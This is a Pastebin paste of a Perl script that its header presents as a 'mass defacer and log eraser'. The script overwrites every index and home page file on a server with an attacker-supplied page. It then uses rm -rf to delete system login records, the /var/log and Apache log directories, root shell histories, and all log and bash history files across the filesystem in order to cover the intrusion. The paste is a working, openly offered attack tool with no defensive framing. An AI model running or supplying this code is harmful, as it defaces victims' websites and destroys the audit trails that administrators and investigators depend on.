lehieuit

mass.pl

Apr 30th, 2012
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.21 KB | None | 0 0
  1. #########################################################################################################
  2. # MSRml V 0.1 #
  3. # #
  4. # MOROCCO.SECURITY.RULZ mass defacer and log eraser #
  5. # #
  6. # coded by PRI[ll #
  7. # #
  8. # !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!! #
  9. # #
  10. # 05/07/2005 #
  11. # #
  12. # usage : perl MSRml.pl <path to index> #
  13. # #
  14. # example : perl MSRml.pl /tmp/index.html #
  15. # #
  16. #########################################################################################################
  17. #!/usr/bin/perl
  18. use strict;
  19. my $index = $ARGV[0];
  20. if ($ARGV[0])
  21. {
  22. if( -e $index )
  23. {
  24. system "echo -e \"\033[01;34mStarted MSRml V0.1 by PRI[ll Ok !!\033[01;37m\"\n";
  25. system "echo -e \"\\033[01;37mDefacing all homepages ...\"\n";
  26. system "find / -name \"index*\" -exec cp $index {} \\;";
  27. system "find / -name \"xDzx.txt*\" -exec cp $index {} \\;";
  28. system "find / -name \"home*\" -exec cp $index {} \\;";
  29. system "find / -name \"xDzx*\" -exec cp $index {} \\;";
  30. system "echo -e \"\\033[01;37m[+] done ! all sites in this box should be defaced !\"\n";
  31. system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n";
  32. system "echo -e \"\\033[01;37mCleaning up logs ...\"\n";
  33. system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
  34. if( -e "/var/log/lastlog" )
  35. {
  36. system 'rm -rf /var/log/lastlog';
  37. system "echo -e \"\\033[01;37m[*]/var/log/lastlog -erased Ok\"\n";
  38. }
  39. else
  40. {
  41. system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
  42. }
  43. if( -e "/var/log/wtmp" )
  44. {
  45. system 'rm -rf /var/log/wtmp';
  46. system "echo -e \"\\033[01;37m[*]/var/log/wtmp -erased Ok\"\n";
  47. }
  48. else
  49. {
  50. system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
  51. }
  52. if( -e "/etc/wtmp" )
  53. {
  54. system 'rm -rf /etc/wtmp';
  55. system "echo -e \"\\033[01;37m[*]/etc/wtmp -erased Ok\"\n";
  56. }
  57. else
  58. {
  59. system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
  60. }
  61. if( -e "/var/run/utmp" )
  62. {
  63. system 'rm -rf /var/run/utmp';
  64. system "echo -e \"\\033[01;37m[*]/var/run/utmp -erased Ok\"\n";
  65. }
  66. else
  67. {
  68. system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
  69. }
  70. if( -e "/etc/utmp" )
  71. {
  72. system 'rm -rf /etc/utmp';
  73. system "echo -e \"\\033[01;37m[*]/etc/utmp -erased Ok\"\n";
  74. }
  75. else
  76. {
  77. system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
  78. }
  79. if( -e "/var/log" )
  80. {
  81. system 'rm -rf /var/log';
  82. system "echo -e \"\\033[01;37m[*]/var/log -erased Ok\"\n";
  83. }
  84. else
  85. {
  86. system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
  87. }
  88. if( -e "/var/logs" )
  89. {
  90. system 'rm -rf /var/logs';
  91. system "echo -e \"\\033[01;37m[*]/var/logs -erased Ok\"\n";
  92. }
  93. else
  94. {
  95. system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
  96. }
  97. if( -e "/var/adm" )
  98. {
  99. system 'rm -rf /var/adm';
  100. system "echo -e \"\\033[01;37m[*]/var/adm -erased Ok\"\n";
  101. }
  102. else
  103. {
  104. system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
  105. }
  106. if( -e "/var/apache/log" )
  107. {
  108. system 'rm -rf /var/apache/log';
  109. system "echo -e \"\\033[01;37m[*]/var/apache/log -erased Ok\"\n";
  110. }
  111. else
  112. {
  113. system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
  114. }
  115. if( -e "/var/apache/logs" )
  116. {
  117. system 'rm -rf /var/apache/logs';
  118. system "echo -e \"\\033[01;37m[*]/var/apache/logs -erased Ok\"\n";
  119. }
  120. else
  121. {
  122. system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
  123. }
  124. if( -e "/usr/local/apache/log" )
  125. {
  126. system 'rm -rf /usr/local/apache/log';
  127. system "echo -e \"\\033[01;37m[*]/usr/local/apache/log -erased Ok\"\n";
  128. }
  129. else
  130. {
  131. system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
  132. }
  133. if( -e "/usr/local/apache/logs" )
  134. {
  135. system 'rm -rf /usr/local/apache/logs';
  136. system "echo -e \"\\033[01;37m[*]/usr/local/apache/logs -erased Ok\"\n";
  137. }
  138. else
  139. {
  140. system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
  141. }
  142. if( -e "/root/.bash_history" )
  143. {
  144. system 'rm -rf /root/.bash_history';
  145. system "echo -e \"\\033[01;37m[*]/root/.bash_history -erased Ok\"\n";
  146. }
  147. else
  148. {
  149. system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
  150. }
  151. if( -e "/root/.ksh_history" )
  152. {
  153. system 'rm -rf /root/.ksh_history';
  154. system "echo -e \"\\033[01;37m[*]/root/.ksh_history -erased Ok\"\n";
  155. }
  156. else
  157. {
  158. system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
  159. }
  160. system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
  161. system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
  162. system 'find / -name *.bash_history -exec rm -rf {} \;';
  163. system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
  164. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  165. system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
  166. system 'find / -name "log*" -exec rm -rf {} \;';
  167. system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
  168. system 'find / -name *.log -exec rm -rf {} \;';
  169. system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
  170. system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";
  171. system "echo -e \"\033[01;34m---------------------------------------------------\033[01;37m\"\n";
  172. system "echo -e \"\033[01;34m-----------------MSRml V 0.1----------------------\033[01;37m\"\n";
  173. }
  174. else
  175. {
  176. system "echo -e \"\\033[01;31m[-] Failed ! the path to u're index could not be found !\\033[01;37m\"\n";
  177. exit;
  178. }
  179. }
  180. else
  181. {
  182. system "echo -e \"\\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!\"\n";
  183. system "echo -e \"\\033[01;37m!!!!!!!!!!!!!!!!!!coded by PRI[ll!!!!!!!!!!!!!!!!!!!!!!!!\"\n";
  184. system "echo -e \"\\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\\033[01;37m\"\n";
  185. system "echo -e \"\\033[01;37musage : perl $0 <path too u're index>\"\n";
  186. system "echo -e \"\\033[01;37mexample : perl $0 /tmp/index.html\"\n";
  187. exit;
  188. }
Advertisement
Add Comment
Please, Sign In to add comment